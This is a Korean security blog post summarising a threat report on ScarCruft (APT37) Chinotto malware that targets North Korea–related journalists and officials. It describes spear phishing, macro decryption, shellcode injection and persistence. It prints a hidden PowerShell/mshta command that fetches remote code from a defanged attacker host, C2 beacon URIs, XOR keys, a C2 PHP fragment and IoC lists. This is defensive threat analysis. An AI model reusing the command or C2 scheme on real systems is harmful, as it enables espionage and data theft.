ScarCruft(APT 37)그룹, Chinotto 멀웨어를 이용한 북한관련 언론인 및 정부기관 공격(21.11.30)
1.개요
ScarCruft 그룹(APT37 또는 Temp.Reaper)은 2016년에 처음 보고된 국가 APT 행위자입니다. ScarCruft는 탈북자, 북한 관련 뉴스를 취재하는 언론인 및 관련 정부 기관을 대상으로 하는 것으로 알려져 있습니다. 공격 피해자는 PowerShell 맬웨어에 감염시키고, 도난당한 로그인 자격 증명을 사용하여 북한 관련 사업에 종사하는 피해자에게 스피어 피싱 이메일을 보내는 공격을 시도했습니다.
공격자는 유사한 기능을 가진 세 가지 유형의 멀웨어(PowerShell에서 구현된 버전, Windows 실행 파일 및 Android 애플리케이션)를 활용했습니다. 서로 다른 플랫폼을 대상으로 하지만 HTTP 통신을 기반으로 유사한 명령 및 제어 체계를 공유합니다. 따라서 맬웨어 운영자는 하나의 명령 및 제어 스크립트 집합을 통해 전체 맬웨어 제품군을 제어할 수 있습니다.
스피어 피싱 문서
잠재적 피해자가 스피어 피싱을 하고 악성 문서를 보내기 전에 피해자의 도용된 Facebook 계정을 사용하여 피해자의 지인에게 연락을 취합니다. 공격자는 이미 잠재적 대상이 북한과 관련된 사업을 하고 있다는 등의 소셜 미디어에서 대화를 나눈 후, 훔친 이메일 계정을 사용하여 잠재적인 피해자에게 스피어 피싱 이메일을 보내어 공격을 시도합니다. 공격자는 Facebook 및 개인 이메일 계정과 같은 도용된 로그인 자격 증명을 사용하여 공격을 악용합니다. Facebook 대화 후 잠재적 피해자가 받은 스피어 피싱 이메일 본문에는 비밀번호가 표시된 RAR 아카이브가 포함되어있으며 RAR 파일에 악성 Word 문서가 포함되어 있습니다.
위의 문서에는 악성 매크로와 다단계 감염 프로세스를 위한 페이로드가 포함되어 있습니다. 첫 번째 단계의 매크로는 난독화된 문자열을 포함하고 암호 해독을 진행합니다. 스크립트는 지정된 암호화된 문자열을 두 번째 문자열과 비교하여 일치하는 문자의 인덱스를 가져옵니다. 그런 다음, 첫 번째 문자열에서 획득한 인덱스가 있는 암호 해독된 문자를 수신합니다.
- 첫번째 문자열 : BU+13r7JX9A)dwxvD5h2WpQOGfbmNKPcLelj(kogHs.#yi*IET6V&tC,uYz=Z0RS8aM4Fqn
- 두번째 문자열 : v&tC,uYz=Z0RS8aM4FqnD5h2WpQOGfbmNKPcLelj(kogHs.#yi*IET6V7JX9A)dwxBU+13r
해독된 두 번째 단계 VBA(Visual Basic Application)에는 16진수 문자열로 셸 코드가 포함되어 있으며 이 스크립트는 notepad.exe 프로세스에 셸 코드를 삽입하는 역할을 합니다.
쉘코드에는 다음 단계 페이로드를 가져오기 위한 URL이 포함되어 있습니다. 페이로드를 가져온 후 쉘코드는 간단한 단일 바이트 XOR 암호 해독으로 암호를 해독합니다.
스피어피싱 이메일 프로세스 목록에 다소 의심스러운 매개 변수로 실행 중인 의심스러운 PowerShell 프로세스가 있습니다. 이 PowerShell 명령은 지속성을 위한 메커니즘으로 Run 레지스트리 키를 통해 등록되었습니다.
- 레지스트리 경로 : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - ONEGO
c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 300000 2.2.2.2 || mshta hxxp://[redacted].cafe24[.]com/bbs/probook/1.html
이 레지스트리 키는 시스템이 부팅될 때마다 mshta.exe 프로세스에서 HTML 응용 프로그램(HTA) 파일을 가져와 실행합니다. 가져온 '1.html'은 최종적으로 PowerShell 명령을 실행하는 VBS(Visual Basic Script)가 포함된 HTML 응용 프로그램(.hta) 파일입니다. PowerShell 스크립트는 간단한 백도어 기능을 제공하고 여러 매개변수가 포함된 HTTP POST 요청으로 C2 서버에 지속적으로 쿼리합니다. 처음에는 호스트 이름으로 C2 서버에 비콘을 보냅니다.
hxxp://[redacted].cafe24[.]com/bbs/probook/do.php?type=hello&direction=send&id=[host name]
다음 형식으로 C2 서버에서 명령을 다운로드하려고 시도합니다.
hxxp://[redacted].cafe24[.]com/bbs/probook/do.php??type=command&direction=receive&id=
C2 서버의 HTTP 응답이 200이면 응답 데이터를 확인하고 전달된 명령을 실행합니다.
피해자로부터 발견한 악성코드의 특징 중 하나는 명령의 실행 결과를 "%appdata%\desktop.dat" 파일에 쓰는 것입니다. 확장자가 .dat인 로그 파일은 암호화되지만 1바이트 XOR 키 0x75로 해독할 수 있습니다. 이 로그 파일에는 업로드 기록이 포함되어 있습니다. 두 개의 로그 파일을 찾았고 각 파일에는 약간 다른 로그가 포함되어 있습니다. 'B14yNKWdROad6DDeFxkxPZpsUmb.dat' 파일에는 동일한 이름을 가진 폴더의 압축 및 업로드가 포함되어 있습니다. 로그 파일은 프로세스를 “Zip Dir Start > Up Init > Up Start > Up File Succeed > Zip Dir Succeed”로 표시합니다.
"s5gRAEs70xTHkAdUjl_DY1fD.dat"라는 다른 로그 파일에도 파일 압축 메시지를 제외한 파일 업로드 기록이 포함되어 있습니다. "Up Init> Up Start> Up File Succeed"의 절차로 각 파일을 처리합니다.
이 피해자로부터 알아낸 내용을 바탕으로 악성코드 운영자가 2021년 8월 6일부터 2021년 9월 8일 사이에 스크린샷을 수집하여 유출했음을 확인할 수 있습니다. 피해자로부터 알아낸 내용을 기반으로 전체 감염 일정을 요약할 수 있습니다. . 이 호스트는 2021년 3월 22일에 손상된 것으로 의심됩니다. 초기 감염 후 공격자는 추가 멀웨어를 이식하려고 시도했지만 오류가 발생하여 멀웨어가 충돌했습니다. 멀웨어 운영자는 나중에 2021년 8월 Chinotto 멀웨어를 전달했으며 아마도 피해자로부터 민감한 데이터를 추출하기 시작했을 것입니다.
Windows 실행 가능한 Chinotto
호스트 조사 결과 악성 Windows 실행 파일을 발견했으며 VirusTotal 및 자체 샘플 컬렉션에서 추가 맬웨어 변종을 발견했습니다. Windows 실행 파일 중 하나에 빌드 경로가 포함되어 있으며 맬웨어 작성자는 맬웨어를 "Chinotto"라고 부르는 것으로 보입니다.
이 분석의 기술 사양은 호스트 조사에서 발견한 Chinotto 악성코드(MD5 00df5bbac9ad059c441e8fef9fefc3c1)를 기반으로 합니다. 이 악성코드의 특징 중 하나는 분석을 방해하는 쓰레기값 코드가 많다는 것입니다. 런타임 동안 멀웨어는 실제 값을 복사하기 전에 사용되지 않은 데이터를 할당된 버퍼에 복사합니다. 또는 사용하지 않는 버퍼를 할당하여 의미 없는 데이터로 채우고 절대 사용하지 않습니다. 런타임 시 스택에 C2 주소 및 디버깅 메시지와 같은 기능 문자열을 복원합니다. 멀웨어는 뮤텍스를 생성하고 발견한 각 샘플마다 다른 C2 주소를 가져옵니다.
Mutex: NxaNnkHnJiNAuDCcoCKRAngjHVUZG2hSZL03pw8Y
C2 address: hxxp://luminix.openhaja[.]com/bbs/data/proc1/proc.php
악성코드는 피해자의 식별값을 생성하기 위해 컴퓨터와 사용자 이름을 모두 획득하여 '%computer name% _% user name%' 형식으로 결합한다. 그런 다음 획득한 문자열을 XOR 키 'YFXAWSAEAXee12D4'로 암호화하고 base64로 인코딩합니다. 백도어는 C2 서버에 지속적으로 쿼리하여 악성코드 운영자의 명령을 기다립니다. Chinotto 악성코드는 피해자로부터 민감한 정보를 제어하고 유출하는 완전한 기능을 보여줍니다.
런타임 동안 약간의 차이를 보인 또 다른 악성코드 샘플(MD5 04ddb77e44ac13c78d6cb304d71e2b86)이 동일한 피해자로부터 발견되었습니다. 이것은 완전한 기능을 갖춘 동일한 백도어이지만 다른 체계를 사용하여 백도어 명령을 로드합니다. 악성코드는 동일한 폴더에 '* .zbpiz' 파일이 존재하는지 확인합니다. 존재하는 경우 파일의 내용을 로드하고 복호화 후 백도어 명령으로 사용합니다. 맬웨어 작성자는 탐지를 회피하고 피해자의 시나리오에 따라 맞춤형 변종을 생성하기 위해 맬웨어의 기능을 계속 변경합니다.
또한 Chinotto 맬웨어의 다양한 Windows 실행 가능 변종이 있습니다. 위에서 언급한 기존의 Chinotto 악성코드와 별도로 다른 변종에는 내장된 PowerShell 스크립트가 포함되어 있습니다. 생성된 PowerShell 명령은 피해자에게서 찾은 PowerShell과 유사한 기능을 가지고 있습니다. 그러나 업로드 및 다운로드 기능과 같은 추가 백도어 명령이 포함되어 있습니다. 멀웨어의 빌드 타임스탬프를 기반으로 하여 멀웨어 작성자는 2019년 중반부터 2020년 중반까지 PowerShell 임베디드 버전을 사용하고 2020년 말부터 PowerShell이 없는 악성 Windows 실행 파일을 사용하기 시작했다고 평가합니다.
안드로이드 Chinotto
C2 통신 패턴을 기반으로 Android 애플리케이션 버전의 Chinotto 악성코드(MD5 56f3d2bcf67cf9f7b7d16ce8a5f8140a)를 발견했습니다. 이 악성 APK는 AndroidManifest.xml 파일에 따라 과도한 권한을 요청합니다. 사용자를 감시하려는 목적을 달성하기 위해 이러한 앱은 사용자에게 다양한 종류의 권한을 활성화하도록 요청합니다. 이러한 권한을 부여하면 앱이 연락처, 메시지, 통화 기록, 장치 정보 및 오디오 녹음을 포함한 민감한 정보를 수집할 수 있습니다. 각 샘플에는 "com.secure.protect"가 패키지 이름으로 포함된 분석된 샘플과 함께 다른 패키지 이름이 있습니다. 멀웨어는 Windows 실행 가능한 Chinotto 버전과 동일한 형식으로 고유한 장치 ID를 보냅니다. HTTP 요청 후에 명령을 수신하고 C2 서버에서 전달된 데이터가 "ERROR" 또는 "Fail"이 아닌 경우 악성코드는 백도어 작업을 시작합니다.
Beacon URI pattern: [C2 url]?type=hello&direction=send&id=[Unique Device ID]
Retrieve commands: [C2 url]?type=command&direction=receive&id=[Unique Device ID]
우리는 배우가 하나의 변종(MD5 cba17c78b84d1e440722178a97886bb7)에서 보다 구체적인 파일 목록에 관심이 있다는 것을 발견했습니다. 이 변형의 "UploadFile" 명령은 특정 파일을 C2 서버에 업로드합니다.
공격자는 Windows 시스템에 대한 스피어 피싱 공격과 Android 시스템에 대한 스미싱으로 피해자를 표적으로 삼았습니다. 행위자는 Windows 실행 버전과 PowerShell 버전을 활용하여 Windows 시스템을 제어합니다. 피해자의 호스트와 모바일이 동시에 감염되면 악성코드 운영자가 휴대폰에서 SMS 메시지를 훔쳐 이중 인증을 극복할 수 있다고 가정할 수 있습니다. 완전한 기능을 갖춘 백도어를 사용한 백도어 작업 후 운영자는 관심 있는 모든 정보를 훔칠 수 있습니다. 훔친 정보를 사용하여 행위자는 공격을 더욱 활용합니다. 예를 들어, 이 그룹은 도난당한 소셜 미디어 계정이나 이메일 계정을 사용하여 추가로 귀중한 호스트를 감염시키고 잠재적인 피해자에게 연락을 시도합니다.
$type = ""; # 'type' parameter
$shakename = "shakest"; # Save client status
$comcmdname = "comcmd"; # Save commands
$btid = ""; # Client unique ID
$direction = ""; # 'direction' parameter
$data = ""; # 'data' parameter
if (isset($_GET['id'])){
$btid = $_GET['id'];
}
if (isset($_GET['type'])){
$type = $_GET['type'];
}
if (isset($_GET['direction'])){
$direction = $_GET['direction'];
}
if (isset($_GET['data'])){
$data = $_GET['data'];
..
$comname = $btid."";
$comresname = $comname . "-result";
클라이언트를 제어하기 위해 C2 스크립트는 HTTP 매개변수를 사용합니다. 먼저 "type" 매개변수의 값을 확인합니다. "type" 매개변수는 hello, command, result 및 file의 네 가지 값을 전달합니다.
C2 서버 분석에서 프로파일링할 수 없는 추가 피해자를 발견했습니다. 공격자의 인프라를 분석한 결과 2021년 1월과 2021년 2월 사이에 75개의 클라이언트 연결이 발견되었습니다. 대부분의 IP 주소는 Tor 또는 VPN 연결인 것으로 보이며, 이는 연구원이나 맬웨어 운영자의 것일 가능성이 높습니다. 다른 C2 서버를 분석하면서 가능한 추가 피해자에 대한 추가 정보를 찾았습니다. Tor에서 오는 연결을 제외하고 한국에서 오는 연결만 있습니다. IP 주소를 기반으로 한국에 있는 4개의 서로 다른 의심되는 피해자를 구별하고 사용자 에이전트 정보를 기반으로 사용되는 운영 체제와 브라우저를 결정할 수 있습니다.
POORWEB이라는 오래된 ScarCruft 악성코드와 여러 코드 중복을 발견했습니다. 처음에 Chinotto 악성코드는 파일을 C2 서버에 업로드할 때 임의의 함수로 생성된 경계와 함께 HTTP POST 요청을 사용합니다. Chinotto 악성코드(MD5 00df5bbac9ad059c441e8fef9fefc3c1)가 경계값을 생성하면 random() 함수를 2회 실행하여 각 값을 연결한다. 생성 과정은 완전히 동일하지는 않지만 기존 POORWEB 악성코드(MD5 97b35c34d600088e2a281c3874035f59)와 유사한 방식을 사용합니다.
POORWEB 악성코드와 함께 활용되었던 Document Stealer 악성코드(MD5 cff9d2f8dae891bd5549bde869fe8b7a)와 추가 코드 중복이 있습니다. Chinotto 악성코드는 C2 서버의 응답을 확인할 때 해당 응답이 '오류'가 아닌 'HTTP / 1.1 200 OK'인지 확인합니다. 이 Document Stealer 악성코드도 C2 서버의 응답을 확인하는 동일한 루틴을 가지고 있습니다.
ScarCruft 그룹은 역사적으로 언론인, 탈북자, 외교관 및 공무원과 같은 북한과 관련된 개인을 감시하는 것으로 알려져 있습니다. 이 공격의 대상은 이전 ScarCruft 그룹 캠페인과 동일한 범위 내에 있습니다. 피해자와 여러 코드 중복을 기반으로 우리는 이 사이버 스파이 활동이 ScarCruft 그룹과 관련이 있다고 중간 정도의 확신을 가지고 평가합니다.
2.공격 침해지표(IoC) 및 대응
악성 해시값
baa9b34f152076ecc4e01e35ecc2de18
7d5283a844c5d17881e91a5909a5af3c
55afe67b0cd4a01f3a9a6621c26b1a49
93bcbf59ac14e14c1c39a18d8ddf28ee
C7c3b03108f2386022793ed29e621343
5a7ef48fe0e8ae65733db64ddb7f2478
B06c203db2bad2363caed1c0c11951ae
F08d7f7593b1456a087eb9922507c743
0dd115c565615651236fffaaf736e377
D8ad81bafd18658c52564bbdc89a7db2
71b63d2c839c765f1f110dc898e79d67
c9fb6f127ca18a3c2cf94e405df67f51
3490053ea54dfc0af2e419be96462b08
URL 페이로드
hxxps://api[.]onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBalVyZDlodU1wUWNjTGt4bXhBV0pjQU1ja2M_ZT1mUnc4VHg/root/content
hxxp://www[.]djsm.co[.]kr/js/20170805[.]hwp
C2서버
hxxp://luminix[.]openhaja[.]com/bbs/data/proc1/proc[.]php
hxxp://luminix[.]kr/bbs/data/proc/proc[.]php
hxxp://kjdnc[.]gp114[.]net/data/log/do[.]php
hxxp://kumdo[.]org/admin/cont/do[.]php
hxxp://haeundaejugong[.]com/editor/chinotto/do[.]php
hxxp://haeundaejugong[.]com/data/jugong/do[.]php
hxxp://doseoul[.]com/bbs/data/hnc/update[.]php
hxxp://hz11[.]cn/jquery-ui-1[.]10[.]4/tests/unit/widget/doc/pu[.]php
Virustotal 조회 결과, 미탐지된 악성해시값에 대해 악성해시 분석 요청신청하였습니다.
분석결과
분석결과, 'Downloader/DOC.Agent'라는 이름으로 악성진단 추가되었습니다.
3.출처
ScarCruft surveilling North Korean defectors and human rights activists
The ScarCruft group (also known as APT37 or Temp.Reaper) is a nation-state sponsored APT actor. Recently, we had an opportunity to perform a deeper investigation on a host compromised by this group.
securelist.com
'보안권고문&뉴스 > 보안뉴스' 카테고리의 다른 글
Microsoft Exchange 서버 ProxyShell 취약점을 이용한 BlackByte 랜섬웨어 공격(21.12.02) (0) | 2021.12.02 |
---|---|
Google Play 스토어에서 Android 뱅킹 악성코드를 통한 300,000명 이상 사용자 감염(21.12.01) (0) | 2021.12.01 |
지속적인 사이버공격에 타격을 입은 이케아 이메일 시스템(21.11.29) (0) | 2021.11.29 |
가상화폐와 NFT 커뮤니티 대상으로 한 디스코드 악성코드 캠페인(21.11.26) (1) | 2021.11.26 |
트로이 목마에 의한 정보탈취로 안드로이드 기기 900만대 이상 정보탈취(21.11.25) (0) | 2021.11.25 |